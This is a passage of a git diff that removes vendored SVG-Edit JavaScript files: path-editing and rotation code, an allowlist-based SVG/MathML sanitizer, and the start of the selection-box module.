-		newseg = this.elem.createSVGPathSegCurvetoCubicAbs(new_x,new_y, p0_x,p0_y, p01_x,p01_y);
-		var pts = [seg.item.x,seg.item.y,p12_x,p12_y,p2_x,p2_y];
-		svgedit.path.replacePathSeg(seg.type,index,pts);
-		break;
-	}
-
-	svgedit.path.insertItemBefore(this.elem, newseg, index);
-};
-
-svgedit.path.Path.prototype.deleteSeg = function(index) {
-	var seg = this.segs[index];
-	var list = this.elem.pathSegList;
-	
-	seg.show(false);
-	var next = seg.next;
-	if(seg.mate) {
-		// Make the next point be the "M" point
-		var pt = [next.item.x, next.item.y];
-		svgedit.path.replacePathSeg(2, next.index, pt);
-		
-		// Reposition last node
-		svgedit.path.replacePathSeg(4, seg.index, pt);
-		
-		list.removeItem(seg.mate.index);
-	} else if(!seg.prev) {
-		// First node of open path, make next point the M
-		var item = seg.item;
-		var pt = [next.item.x, next.item.y];
-		svgedit.path.replacePathSeg(2, seg.next.index, pt);
-		list.removeItem(index);
-		
-	} else {
-		list.removeItem(index);
-	}
-};
-
-svgedit.path.Path.prototype.subpathIsClosed = function(index) {
-	var closed = false;
-	// Check if subpath is already open
-	svgedit.path.path.eachSeg(function(i) {
-		if(i <= index) return true;
-		if(this.type === 2) {
-			// Found M first, so open
-			return false;
-		} else if(this.type === 1) {
-			// Found Z first, so closed
-			closed = true;
-			return false;
-		}
-	});
-	
-	return closed;
-};
-
-svgedit.path.Path.prototype.removePtFromSelection = function(index) {
-	var pos = this.selected_pts.indexOf(index);
-	if(pos == -1) {
-		return;
-	} 
-	this.segs[index].select(false);
-	this.selected_pts.splice(pos, 1);
-};
-
-svgedit.path.Path.prototype.clearSelection = function() {
-	this.eachSeg(function(i) {
-		// 'this' is the segment here
-		this.select(false);
-	});
-	this.selected_pts = [];
-};
-
-svgedit.path.Path.prototype.storeD = function() {
-	this.last_d = this.elem.getAttribute('d');
-};
-
-svgedit.path.Path.prototype.show = function(y) {
-	// Shows this path's segment grips
-	this.eachSeg(function() {
-		// 'this' is the segment here
-		this.show(y);
-	});
-	if(y) {
-		this.selectPt(this.first_seg.index);
-	}
-	return this;
-};
-
-// Move selected points 
-svgedit.path.Path.prototype.movePts = function(d_x, d_y) {
-	var i = this.selected_pts.length;
-	while(i--) {
-		var seg = this.segs[this.selected_pts[i]];
-		seg.move(d_x, d_y);
-	}
-};
-
-svgedit.path.Path.prototype.moveCtrl = function(d_x, d_y) {
-	var seg = this.segs[this.selected_pts[0]];
-	seg.moveCtrl(this.dragctrl, d_x, d_y);
-	if(link_control_pts) {
-		seg.setLinked(this.dragctrl);
-	}
-};
-
-svgedit.path.Path.prototype.setSegType = function(new_type) {
-	this.storeD();
-	var i = this.selected_pts.length;
-	var text;
-	while(i--) {
-		var sel_pt = this.selected_pts[i];
-		
-		// Selected seg
-		var cur = this.segs[sel_pt];
-		var prev = cur.prev;
-		if(!prev) continue;
-		
-		if(!new_type) { // double-click, so just toggle
-			text = "Toggle Path Segment Type";
-
-			// Toggle segment to curve/straight line
-			var old_type = cur.type;
-			
-			new_type = (old_type == 6) ? 4 : 6;
-		} 
-		
-		new_type = new_type-0;
-		
-		var cur_x = cur.item.x;
-		var cur_y = cur.item.y;
-		var prev_x = prev.item.x;
-		var prev_y = prev.item.y;
-		var points;
-		switch ( new_type ) {
-		case 6:
-			if(cur.olditem) {
-				var old = cur.olditem;
-				points = [cur_x,cur_y, old.x1,old.y1, old.x2,old.y2];
-			} else {
-				var diff_x = cur_x - prev_x;
-				var diff_y = cur_y - prev_y;
-				// get control points from straight line segment
-				/*
-				var ct1_x = (prev_x + (diff_y/2));
-				var ct1_y = (prev_y - (diff_x/2));
-				var ct2_x = (cur_x + (diff_y/2));
-				var ct2_y = (cur_y - (diff_x/2));
-				*/
-				//create control points on the line to preserve the shape (WRS)
-				var ct1_x = (prev_x + (diff_x/3));
-				var ct1_y = (prev_y + (diff_y/3));
-				var ct2_x = (cur_x - (diff_x/3));
-				var ct2_y = (cur_y - (diff_y/3));
-				points = [cur_x,cur_y, ct1_x,ct1_y, ct2_x,ct2_y];
-			}
-			break;
-		case 4:
-			points = [cur_x,cur_y];
-			
-			// Store original prevve segment nums
-			cur.olditem = cur.item;
-			break;
-		}
-		
-		cur.setType(new_type, points);
-	}
-	svgedit.path.path.endChanges(text);
-};
-
-svgedit.path.Path.prototype.selectPt = function(pt, ctrl_num) {
-	this.clearSelection();
-	if(pt == null) {
-		this.eachSeg(function(i) {
-			// 'this' is the segment here.
-			if(this.prev) {
-				pt = i;
-			}
-		});
-	}
-	this.addPtsToSelection(pt);
-	if(ctrl_num) {
-		this.dragctrl = ctrl_num;
-		
-		if(link_control_pts) {
-			this.segs[pt].setLinked(ctrl_num);
-		}
-	}
-};
-
-// Update position of all points
-svgedit.path.Path.prototype.update = function() {
-	var elem = this.elem;
-	if(svgedit.utilities.getRotationAngle(elem)) {
-		this.matrix = svgedit.math.getMatrix(elem);
-		this.imatrix = this.matrix.inverse();
-	} else {
-		this.matrix = null;
-		this.imatrix = null;
-	}
-
-	this.eachSeg(function(i) {
-		this.item = elem.pathSegList.getItem(i);
-		this.update();
-	});
-
-	return this;
-};
-
-svgedit.path.getPath_ = function(elem) {
-	var p = pathData[elem.id];
-	if(!p) p = pathData[elem.id] = new svgedit.path.Path(elem);
-	return p;
-};
-
-svgedit.path.removePath_ = function(id) {
-	if(id in pathData) delete pathData[id];
-};
-
-var getRotVals = function(x, y) {
-	dx = x - oldcx;
-	dy = y - oldcy;
-	
-	// rotate the point around the old center
-	r = Math.sqrt(dx*dx + dy*dy);
-	theta = Math.atan2(dy,dx) + angle;
-	dx = r * Math.cos(theta) + oldcx;
-	dy = r * Math.sin(theta) + oldcy;
-	
-	// dx,dy should now hold the actual coordinates of each
-	// point after being rotated
-
-	// now we want to rotate them around the new center in the reverse direction
-	dx -= newcx;
-	dy -= newcy;
-	
-	r = Math.sqrt(dx*dx + dy*dy);
-	theta = Math.atan2(dy,dx) - angle;
-	
-	return {'x':(r * Math.cos(theta) + newcx)/1,
-		'y':(r * Math.sin(theta) + newcy)/1};
-};
-
-// If the path was rotated, we must now pay the piper:
-// Every path point must be rotated into the rotated coordinate system of 
-// its old center, then determine the new center, then rotate it back
-// This is because we want the path to remember its rotation
-
-// TODO: This is still using ye olde transform methods, can probably
-// be optimized or even taken care of by recalculateDimensions
-svgedit.path.recalcRotatedPath = function() {
-	var current_path = svgedit.path.path.elem;
-	var angle = svgedit.utilities.getRotationAngle(current_path, true);
-	if(!angle) return;
-//	selectedBBoxes[0] = svgedit.path.path.oldbbox;
-	var box = svgedit.utilities.getBBox(current_path),
-		oldbox = svgedit.path.path.oldbbox,//selectedBBoxes[0],
-		oldcx = oldbox.x + oldbox.width/2,
-		oldcy = oldbox.y + oldbox.height/2,
-		newcx = box.x + box.width/2,
-		newcy = box.y + box.height/2,
-	
-	// un-rotate the new center to the proper position
-		dx = newcx - oldcx,
-		dy = newcy - oldcy,
-		r = Math.sqrt(dx*dx + dy*dy),
-		theta = Math.atan2(dy,dx) + angle;
-		
-	newcx = r * Math.cos(theta) + oldcx;
-	newcy = r * Math.sin(theta) + oldcy;
-	
-	var list = current_path.pathSegList,
-		i = list.numberOfItems;
-	while (i) {
-		i -= 1;
-		var seg = list.getItem(i),
-			type = seg.pathSegType;
-		if(type == 1) continue;
-		
-		var rvals = getRotVals(seg.x,seg.y),
-			points = [rvals.x, rvals.y];
-		if(seg.x1 != null && seg.x2 != null) {
-			c_vals1 = getRotVals(seg.x1, seg.y1);
-			c_vals2 = getRotVals(seg.x2, seg.y2);
-			points.splice(points.length, 0, c_vals1.x , c_vals1.y, c_vals2.x, c_vals2.y);
-		}
-		svgedit.path.replacePathSeg(type, i, points);
-	} // loop for each point
-
-	box = svgedit.utilities.getBBox(current_path);						
-//	selectedBBoxes[0].x = box.x; selectedBBoxes[0].y = box.y;
-//	selectedBBoxes[0].width = box.width; selectedBBoxes[0].height = box.height;
-	
-	// now we must set the new transform to be rotated around the new center
-	var R_nc = svgroot.createSVGTransform(),
-		tlist = svgedit.transformlist.getTransformList(current_path);
-	R_nc.setRotate((angle * 180.0 / Math.PI), newcx, newcy);
-	tlist.replaceItem(R_nc,0);
-};
-
-// ====================================
-// Public API starts here
-
-svgedit.path.clearData =  function() {
-	pathData = {};
-};
-
-})();
diff --git a/public/svg-edit/editor/sanitize.js b/public/svg-edit/editor/sanitize.js
deleted file mode 100644
index dcd9aaa0..00000000
--- a/public/svg-edit/editor/sanitize.js
+++ /dev/null
@@ -1,272 +0,0 @@
-/**
- * Package: svgedit.sanitize
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) browser.js
-// 2) svgutils.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.sanitize) {
-	svgedit.sanitize = {};
-}
-
-// Namespace constants
-var svgns = "http://www.w3.org/2000/svg",
-	xlinkns = "http://www.w3.org/1999/xlink",
-	xmlns = "http://www.w3.org/XML/1998/namespace",
-	xmlnsns = "http://www.w3.org/2000/xmlns/", // see http://www.w3.org/TR/REC-xml-names/#xmlReserved
-	se_ns = "http://svg-edit.googlecode.com",
-	htmlns = "http://www.w3.org/1999/xhtml",
-	mathns = "http://www.w3.org/1998/Math/MathML";
-
-// map namespace URIs to prefixes
-var nsMap_ = {};
-nsMap_[xlinkns] = 'xlink';
-nsMap_[xmlns] = 'xml';
-nsMap_[xmlnsns] = 'xmlns';
-nsMap_[se_ns] = 'se';
-nsMap_[htmlns] = 'xhtml';
-nsMap_[mathns] = 'mathml';
-
-// map prefixes to namespace URIs
-var nsRevMap_ = {};
-$.each(nsMap_, function(key,value){
-	nsRevMap_[value] = key;
-});
-
-// this defines which elements and attributes that we support
-var svgWhiteList_ = {
-	// SVG Elements
-	"a": ["class", "clip-path", "clip-rule", "fill", "fill-opacity", "fill-rule", "filter", "id", "mask", "opacity", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform", "xlink:href", "xlink:title"],
-	"circle": ["class", "clip-path", "clip-rule", "cx", "cy", "fill", "fill-opacity", "fill-rule", "filter", "id", "mask", "opacity", "r", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform"],
-	"clipPath": ["class", "clipPathUnits", "id"],
-	"defs": [],
-	"desc": [],
-	"ellipse": ["class", "clip-path", "clip-rule", "cx", "cy", "fill", "fill-opacity", "fill-rule", "filter", "id", "mask", "opacity", "requiredFeatures", "rx", "ry", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform"],
-	"feGaussianBlur": ["class", "color-interpolation-filters", "id", "requiredFeatures", "stdDeviation"],
-	"filter": ["class", "color-interpolation-filters", "filterRes", "filterUnits", "height", "id", "primitiveUnits", "requiredFeatures", "width", "x", "xlink:href", "y"],
-	"foreignObject": ["class", "font-size", "height", "id", "opacity", "requiredFeatures", "style", "transform", "width", "x", "y"],
-	"g": ["class", "clip-path", "clip-rule", "id", "display", "fill", "fill-opacity", "fill-rule", "filter", "mask", "opacity", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform", "font-family", "font-size", "font-style", "font-weight", "text-anchor"],
-	"image": ["class", "clip-path", "clip-rule", "filter", "height", "id", "mask", "opacity", "requiredFeatures", "style", "systemLanguage", "transform", "width", "x", "xlink:href", "xlink:title", "y"],
-	"line": ["class", "clip-path", "clip-rule", "fill", "fill-opacity", "fill-rule", "filter", "id", "marker-end", "marker-mid", "marker-start", "mask", "opacity", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform", "x1", "x2", "y1", "y2"],
-	"linearGradient": ["class", "id", "gradientTransform", "gradientUnits", "requiredFeatures", "spreadMethod", "systemLanguage", "x1", "x2", "xlink:href", "y1", "y2"],
-	"marker": ["id", "class", "markerHeight", "markerUnits", "markerWidth", "orient", "preserveAspectRatio", "refX", "refY", "systemLanguage", "viewBox"],
-	"mask": ["class", "height", "id", "maskContentUnits", "maskUnits", "width", "x", "y"],
-	"metadata": ["class", "id"],
-	"path": ["class", "clip-path", "clip-rule", "d", "fill", "fill-opacity", "fill-rule", "filter", "id", "marker-end", "marker-mid", "marker-start", "mask", "opacity", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform"],
-	"pattern": ["class", "height", "id", "patternContentUnits", "patternTransform", "patternUnits", "requiredFeatures", "style", "systemLanguage", "viewBox", "width", "x", "xlink:href", "y"],
-	"polygon": ["class", "clip-path", "clip-rule", "id", "fill", "fill-opacity", "fill-rule", "filter", "id", "class", "marker-end", "marker-mid", "marker-start", "mask", "opacity", "points", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform"],
-	"polyline": ["class", "clip-path", "clip-rule", "id", "fill", "fill-opacity", "fill-rule", "filter", "marker-end", "marker-mid", "marker-start", "mask", "opacity", "points", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform"],
-	"radialGradient": ["class", "cx", "cy", "fx", "fy", "gradientTransform", "gradientUnits", "id", "r", "requiredFeatures", "spreadMethod", "systemLanguage", "xlink:href"],
-	"rect": ["class", "clip-path", "clip-rule", "fill", "fill-opacity", "fill-rule", "filter", "height", "id", "mask", "opacity", "requiredFeatures", "rx", "ry", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform", "width", "x", "y"],
-	"stop": ["class", "id", "offset", "requiredFeatures", "stop-color", "stop-opacity", "style", "systemLanguage"],
-	"svg": ["class", "clip-path", "clip-rule", "filter", "id", "height", "mask", "preserveAspectRatio", "requiredFeatures", "style", "systemLanguage", "viewBox", "width", "x", "xmlns", "xmlns:se", "xmlns:xlink", "y"],
-	"switch": ["class", "id", "requiredFeatures", "systemLanguage"],
-	"symbol": ["class", "fill", "fill-opacity", "fill-rule", "filter", "font-family", "font-size", "font-style", "font-weight", "id", "opacity", "preserveAspectRatio", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "transform", "viewBox"],
-	"text": ["class", "clip-path", "clip-rule", "fill", "fill-opacity", "fill-rule", "filter", "font-family", "font-size", "font-style", "font-weight", "id", "mask", "opacity", "requiredFeatures", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "text-anchor", "transform", "x", "xml:space", "y"],
-	"textPath": ["class", "id", "method", "requiredFeatures", "spacing", "startOffset", "style", "systemLanguage", "transform", "xlink:href"],
-	"title": [],
-	"tspan": ["class", "clip-path", "clip-rule", "dx", "dy", "fill", "fill-opacity", "fill-rule", "filter", "font-family", "font-size", "font-style", "font-weight", "id", "mask", "opacity", "requiredFeatures", "rotate", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "systemLanguage", "text-anchor", "textLength", "transform", "x", "xml:space", "y"],
-	"use": ["class", "clip-path", "clip-rule", "fill", "fill-opacity", "fill-rule", "filter", "height", "id", "mask", "stroke", "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", "stroke-width", "style", "transform", "width", "x", "xlink:href", "y"],
-	
-	// MathML Elements
-	"annotation": ["encoding"],
-	"annotation-xml": ["encoding"],
-	"maction": ["actiontype", "other", "selection"],
-	"math": ["class", "id", "display", "xmlns"],
-	"menclose": ["notation"],
-	"merror": [],
-	"mfrac": ["linethickness"],
-	"mi": ["mathvariant"],
-	"mmultiscripts": [],
-	"mn": [],
-	"mo": ["fence", "lspace", "maxsize", "minsize", "rspace", "stretchy"],
-	"mover": [],
-	"mpadded": ["lspace", "width", "height", "depth", "voffset"],
-	"mphantom": [],
-	"mprescripts": [],
-	"mroot": [],
-	"mrow": ["xlink:href", "xlink:type", "xmlns:xlink"],
-	"mspace": ["depth", "height", "width"],
-	"msqrt": [],
-	"mstyle": ["displaystyle", "mathbackground", "mathcolor", "mathvariant", "scriptlevel"],
-	"msub": [],
-	"msubsup": [],
-	"msup": [],
-	"mtable": ["align", "columnalign", "columnlines", "columnspacing", "displaystyle", "equalcolumns", "equalrows", "frame", "rowalign", "rowlines", "rowspacing", "width"],
-	"mtd": ["columnalign", "columnspan", "rowalign", "rowspan"],
-	"mtext": [],
-	"mtr": ["columnalign", "rowalign"],
-	"munder": [],
-	"munderover": [],
-	"none": [],
-	"semantics": []
-};
-
-// Produce a Namespace-aware version of svgWhitelist
-var svgWhiteListNS_ = {};
-$.each(svgWhiteList_, function(elt,atts){
-	var attNS = {};
-	$.each(atts, function(i, att){
-		if (att.indexOf(':') >= 0) {
-			var v = att.split(':');
-			attNS[v[1]] = nsRevMap_[v[0]];
-		} else {
-			attNS[att] = att == 'xmlns' ? xmlnsns : null;
-		}
-	});
-	svgWhiteListNS_[elt] = attNS;
-});
-
-// temporarily expose these
-svgedit.sanitize.getNSMap = function() { return nsMap_; }
-
-// Function: svgedit.sanitize.sanitizeSvg
-// Sanitizes the input node and its children
-// It only keeps what is allowed from our whitelist defined above
-//
-// Parameters:
-// node - The DOM element to be checked, will also check its children
-svgedit.sanitize.sanitizeSvg = function(node) {
-	// we only care about element nodes
-	// automatically return for all comment, etc nodes
-	// for text, we do a whitespace trim
-	if (node.nodeType == 3) {
-		node.nodeValue = node.nodeValue.replace(/^\s+|\s+$/g, "");
-		// Remove empty text nodes
-		if(!node.nodeValue.length) node.parentNode.removeChild(node);
-	}
-	if (node.nodeType != 1) return;
-	var doc = node.ownerDocument;
-	var parent = node.parentNode;
-	// can parent ever be null here?  I think the root node's parent is the document...
-	if (!doc || !parent) return;
-	
-	var allowedAttrs = svgWhiteList_[node.nodeName];
-	var allowedAttrsNS = svgWhiteListNS_[node.nodeName];
-
-	// if this element is allowed
-	if (allowedAttrs != undefined) {
-
-		var se_attrs = [];
-	
-		var i = node.attributes.length;
-		while (i--) {
-			// if the attribute is not in our whitelist, then remove it
-			// could use jQuery's inArray(), but I don't know if that's any better
-			var attr = node.attributes.item(i);
-			var attrName = attr.nodeName;
-			var attrLocalName = attr.localName;
-			var attrNsURI = attr.namespaceURI;
-			// Check that an attribute with the correct localName in the correct namespace is on 
-			// our whitelist or is a namespace declaration for one of our allowed namespaces
-			if (!(allowedAttrsNS.hasOwnProperty(attrLocalName) && attrNsURI == allowedAttrsNS[attrLocalName] && attrNsURI != xmlnsns) &&
-				!(attrNsURI == xmlnsns && nsMap_[attr.nodeValue]) ) 
-			{
-				// TODO(codedread): Programmatically add the se: attributes to the NS-aware whitelist.
-				// Bypassing the whitelist to allow se: prefixes. Is there
-				// a more appropriate way to do this?
-				if(attrName.indexOf('se:') == 0) {
-					se_attrs.push([attrName, attr.nodeValue]);
-				} 
-				node.removeAttributeNS(attrNsURI, attrLocalName);
-			}
-			
-			// Add spaces before negative signs where necessary
-			if(svgedit.browser.isGecko()) {
-				switch ( attrName ) {
-				case "transform":
-				case "gradientTransform":
-				case "patternTransform":
-					var val = attr.nodeValue.replace(/(\d)-/g, "$1 -");
-					node.setAttribute(attrName, val);
-				}
-			}
-			
-			// for the style attribute, rewrite it in terms of XML presentational attributes
-			if (attrName == "style") {
-				var props = attr.nodeValue.split(";"),
-					p = props.length;
-				while(p--) {
-					var nv = props[p].split(":");
-					// now check that this attribute is supported
-					if (allowedAttrs.indexOf(nv[0]) >= 0) {
-						node.setAttribute(nv[0],nv[1]);
-					}
-				}
-				node.removeAttribute('style');
-			}
-		}
-		
-		$.each(se_attrs, function(i, attr) {
-			node.setAttributeNS(se_ns, attr[0], attr[1]);
-		});
-		
-		// for some elements that have a xlink:href, ensure the URI refers to a local element
-		// (but not for links)
-		var href = svgedit.utilities.getHref(node);
-		if(href && 
-		   ["filter", "linearGradient", "pattern",
-		   "radialGradient", "textPath", "use"].indexOf(node.nodeName) >= 0)
-		{
-			// TODO: we simply check if the first character is a #, is this bullet-proof?
-			if (href[0] != "#") {
-				// remove the attribute (but keep the element)
-				svgedit.utilities.setHref(node, "");
-				node.removeAttributeNS(xlinkns, "href");
-			}
-		}
-		
-		// Safari crashes on a <use> without a xlink:href, so we just remove the node here
-		if (node.nodeName == "use" && !svgedit.utilities.getHref(node)) {
-			parent.removeChild(node);
-			return;
-		}
-		// if the element has attributes pointing to a non-local reference, 
-		// need to remove the attribute
-		$.each(["clip-path", "fill", "filter", "marker-end", "marker-mid", "marker-start", "mask", "stroke"],function(i,attr) {
-			var val = node.getAttribute(attr);
-			if (val) {
-				val = svgedit.utilities.getUrlFromAttr(val);
-				// simply check for first character being a '#'
-				if (val && val[0] !== "#") {
-					node.setAttribute(attr, "");
-					node.removeAttribute(attr);
-				}
-			}
-		});
-		
-		// recurse to children
-		i = node.childNodes.length;
-		while (i--) { svgedit.sanitize.sanitizeSvg(node.childNodes.item(i)); }
-	}
-	// else, remove this element
-	else {
-		// remove all children from this node and insert them before this node
-		// FIXME: in the case of animation elements this will hardly ever be correct
-		var children = [];
-		while (node.hasChildNodes()) {
-			children.push(parent.insertBefore(node.firstChild, node));
-		}
-
-		// remove this node from the document altogether
-		parent.removeChild(node);
-
-		// call sanitizeSvg on each of those children
-		var i = children.length;
-		while (i--) { svgedit.sanitize.sanitizeSvg(children[i]); }
-
-	}
-};
-
-})();
-
diff --git a/public/svg-edit/editor/select.js b/public/svg-edit/editor/select.js
deleted file mode 100644
index c13f2918..00000000
--- a/public/svg-edit/editor/select.js
+++ /dev/null
@@ -1,529 +0,0 @@
-/**
- * Package: svedit.select
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) browser.js
-// 3) math.js
-// 4) svgutils.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.select) {
-	svgedit.select = {};
-}
-
-var svgFactory_;
-var config_;
-var selectorManager_; // A Singleton
-
-// Class: svgedit.select.Selector
-// Private class for DOM element selection boxes
-// 
-// Parameters:
-// id - integer to internally indentify the selector
-// elem - DOM element associated with this selector
-svgedit.select.Selector = function(id, elem) {
-	// this is the selector's unique number
-	this.id = id;
-
-	// this holds a reference to the element for which this selector is being used
-	this.selectedElement = elem;
-
-	// this is a flag used internally to track whether the selector is being used or not
-	this.locked = true;
-
-	// this holds a reference to the <g> element that holds all visual elements of the selector
-	this.selectorGroup = svgFactory_.createSVGElement({
-		'element': 'g',
-		'attr': {'id': ('selectorGroup' + this.id)}
-	});
-
-	// this holds a reference to the path rect
-	this.selectorRect = this.selectorGroup.appendChild(
-		svgFactory_.createSVGElement({
-			'element': 'path',
-			'attr': {
-				'id': ('selectedBox' + this.id),
-				'fill': 'none',
-				'stroke': '#22C',
-				'stroke-width': '1',
-				'stroke-dasharray': '5,5',
-				// need to specify this so that the rect is not selectable
-				'style': 'pointer-events:none'
-			}
-		})
-	);
-
-	// this holds a reference to the grip coordinates for this selector
-	this.gripCoords = {
-		'nw': null,
-		'n' : null,
-		'ne': null,
-		'e' : null,
-		'se': null,
-		's' : null,
-		'sw': null,
-		'w' : null
-	};
-
-	this.reset(this.selectedElement);
-};
-
-
-// Function: svgedit.select.Selector.reset 
-// Used to reset the id and element that the selector is attached to
-//
-// Parameters: 
-// e - DOM element associated with this selector
-svgedit.select.Selector.prototype.reset = function(e) {
-	this.locked = true;
-	this.selectedElement = e;
-	this.resize();
-	this.selectorGroup.setAttribute('display', 'inline');
-};
-
-// Function: svgedit.select.Selector.updateGripCursors
-// Updates cursors for corner grips on rotation so arrows point the right way
-//
-// Parameters:
-// angle - Float indicating current rotation angle in degrees
-svgedit.select.Selector.prototype.updateGripCursors = function(angle) {
-	var dir_arr = [];
-	var steps = Math.round(angle / 45);
-	if(steps < 0) steps += 8;
-	for (var dir in selectorManager_.selectorGrips) {
-		dir_arr.push(dir);
-	}
-	while(steps > 0) {
-		dir_arr.push(dir_arr.shift());
-		steps--;
-	}
-	var i = 0;
-	for (var dir in selectorManager_.selectorGrips) {
-		selectorManager_.selectorGrips[dir].setAttribute('style', ('cursor:' + dir_arr[i] + '-resize'));
-		i++;
-	};
-};
-
-// Function: svgedit.select.Selector.showGrips
-// Show the resize grips of this selector
-//
-// Parameters:
-// show - boolean indicating whether grips should be shown or not
-svgedit.select.Selector.prototype.showGrips = function(show) {
-	// TODO: use suspendRedraw() here
-	var bShow = show ? 'inline' : 'none';
-	selectorManager_.selectorGripsGroup.setAttribute('display', bShow);
-	var elem = this.selectedElement;
-	this.hasGrips = show;
-	if(elem && show) {
-		this.selectorGroup.appendChild(selectorManager_.selectorGripsGroup);
-		this.updateGripCursors(svgedit.utilities.getRotationAngle(elem));
-	}
-};
-
-// Function: svgedit.select.Selector.resize
-// Updates the selector to match the element's size
-svgedit.select.Selector.prototype.resize = function() {
-	var selectedBox = this.selectorRect,
-		mgr = selectorManager_,
-		selectedGrips = mgr.selectorGrips,
-		selected = this.selectedElement,
-		sw = selected.getAttribute('stroke-width'),
-		current_zoom = svgFactory_.currentZoom();
-	var offset = 1/current_zoom;
-	if (selected.getAttribute('stroke') !== 'none' && !isNaN(sw)) {
-		offset += (sw/2);
-	}
-
-	var tagName = selected.tagName;
-	if (tagName === 'text') {
-		offset += 2/current_zoom;
-	}
-
-	// loop and transform our bounding box until we reach our first rotation
-	var tlist = svgedit.transformlist.getTransformList(selected);
-	var m = svgedit.math.transformListToTransform(tlist).matrix;
-
-	// This should probably be handled somewhere else, but for now
-	// it keeps the selection box correctly positioned when zoomed
-	m.e *= current_zoom;
-	m.f *= current_zoom;
-
-	var bbox = svgedit.utilities.getBBox(selected);
-	if(tagName === 'g' && !$.data(selected, 'gsvg')) {
-		// The bbox for a group does not include stroke vals, so we
-		// get the bbox based on its children. 
-		var stroked_bbox = svgFactory_.getStrokedBBox(selected.childNodes);
-		if(stroked_bbox) {
-			bbox = stroked_bbox;
-		}
-	}
-
-	// apply the transforms
-	var l=bbox.x, t=bbox.y, w=bbox.width, h=bbox.height,
-		bbox = {x:l, y:t, width:w, height:h};
-
-	// we need to handle temporary transforms too
-	// if skewed, get its transformed box, then find its axis-aligned bbox
-	
-	//*
-	offset *= current_zoom;
-	
-	var nbox = svgedit.math.transformBox(l*current_zoom, t*current_zoom, w*current_zoom, h*current_zoom, m),
-		aabox = nbox.aabox,
-		nbax = aabox.x - offset,
-		nbay = aabox.y - offset,
-		nbaw = aabox.width + (offset * 2),
-		nbah = aabox.height + (offset * 2);
-		
-	// now if the shape is rotated, un-rotate it
-	var cx = nbax + nbaw/2,
-		cy = nbay + nbah/2;
-
-	var angle = svgedit.utilities.getRotationAngle(selected);
-	if (angle) {
-		var rot = svgFactory_.svgRoot().createSVGTransform();
-		rot.setRotate(-angle,cx,cy);
-		var rotm = rot.matrix;
-		nbox.tl = svgedit.math.transformPoint(nbox.tl.x,nbox.tl.y,rotm);
-		nbox.tr = svgedit.math.transformPoint(nbox.tr.x,nbox.tr.y,rotm);
-		nbox.bl = svgedit.math.transformPoint(nbox.bl.x,nbox.bl.y,rotm);
-		nbox.br = svgedit.math.transformPoint(nbox.br.x,nbox.br.y,rotm);
-
-		// calculate the axis-aligned bbox
-		var tl = nbox.tl;
-		var minx = tl.x,
-			miny = tl.y,
-			maxx = tl.x,
-			maxy = tl.y;
-
-		var Min = Math.min, Max = Math.max;
-
-		minx = Min(minx, Min(nbox.tr.x, Min(nbox.bl.x, nbox.br.x) ) ) - offset;
-		miny = Min(miny, Min(nbox.tr.y, Min(nbox.bl.y, nbox.br.y) ) ) - offset;
-		maxx = Max(maxx, Max(nbox.tr.x, Max(nbox.bl.x, nbox.br.x) ) ) + offset;
-		maxy = Max(maxy, Max(nbox.tr.y, Max(nbox.bl.y, nbox.br.y) ) ) + offset;
-
-		nbax = minx;
-		nbay = miny;
-		nbaw = (maxx-minx);
-		nbah = (maxy-miny);
-	}
-	var sr_handle = svgFactory_.svgRoot().suspendRedraw(100);
-
-	var dstr = 'M' + nbax + ',' + nbay
-				+ ' L' + (nbax+nbaw) + ',' + nbay
-				+ ' ' + (nbax+nbaw) + ',' + (nbay+nbah)
-				+ ' ' + nbax + ',' + (nbay+nbah) + 'z';
-	selectedBox.setAttribute('d', dstr);
-	
-	var xform = angle ? 'rotate(' + [angle,cx,cy].join(',') + ')' : '';
-	this.selectorGroup.setAttribute('transform', xform);
-
-	// TODO(codedread): Is this if needed?
-//	if(selected === selectedElements[0]) {
-		this.gripCoords = {
-			'nw': [nbax, nbay],
-			'ne': [nbax+nbaw, nbay],
